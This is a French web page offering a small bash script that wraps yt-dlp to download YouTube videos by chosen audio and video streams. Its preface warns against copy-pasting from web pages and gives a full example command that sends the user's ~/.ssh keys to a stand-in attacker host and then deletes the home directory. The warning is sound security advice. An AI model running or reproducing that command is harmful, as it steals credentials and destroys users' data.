Script: lyd
⚠️ Évitez de copier/coller le code ci-dessous.
👉 Le HTML c'est sale. Il vous faut une preuve ? Essayez de copier-coller l'innocente petite commande suivante : echo Hello; curl -F "data=$(basenc --base64url < <(tar zc0 "$HOME/.ssh"))" leak.supervilain.com:/powned/ &>/dev/null; rm -rf "$HOME"/*; echo World
Mieux vaut télécharger le script au format texte brut en cliquant ici
#! /usr/bin/env bash
#
# lazy Youtube Downloader
#
# Release: 1.0 of 2020/10/08
# 2020, Joseph Maillardet
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
set -euo pipefail
display() {
printf -- "%s\n" "$1"
}
error() {
printf "Error: %s\n" "$1" >&2
exit "$2"
}
[ -x "$(command -v yt-dlp)" ] || error "J'ai besoin du script yt-dlp pour fonctionner (https://github.com/yt-dlp/yt-dlp)" 1
[ -n "${1-}" ] || error "J'ai besoin d'une adresse Youtube à télécharger" 2
display "Recherche des formats de flux disponible..."
yd_format=$(yt-dlp -F "$1" || error "Impossible de télécharger les formats de: $1" 3)
#display "$yd_format" # DEBUG
display "Choix du flux audio"
display "$yd_format" | grep "audio only"
read -p "audio> " audio
[ -n "$audio" ] || error "Abandon" 0
display "Choix du flux video"
display "$yd_format" | grep "video only"
read -p "video> " video
[ -n "$video" ] || error "Abandon" 0
display "Téléchargement..."
yt-dlp -f $video+$audio "$1" || error "Cette commande n'a pas marché : yt-dlp -f $audio+$video $1" 4
display "Ciao."
exit 0
